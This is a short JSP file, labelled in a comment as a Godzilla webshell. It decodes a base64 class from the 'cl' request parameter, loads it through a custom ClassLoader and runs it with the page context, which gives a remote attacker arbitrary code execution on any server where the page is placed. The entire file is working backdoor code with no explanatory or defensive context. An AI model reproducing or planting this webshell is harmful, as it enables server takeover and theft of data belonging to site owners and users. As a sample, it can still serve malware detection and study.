<%!
    // Godzilla webshell
    class U extends ClassLoader {
        U(ClassLoader c) { super(c); }
        public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
    }
    public byte[] base64Decode(String str) throws Exception {
        try { return sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(str); }
        catch (Exception e) { return java.util.Base64.getDecoder().decode(str); }
    }
%>
<% 
    String cls = request.getParameter("cl");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>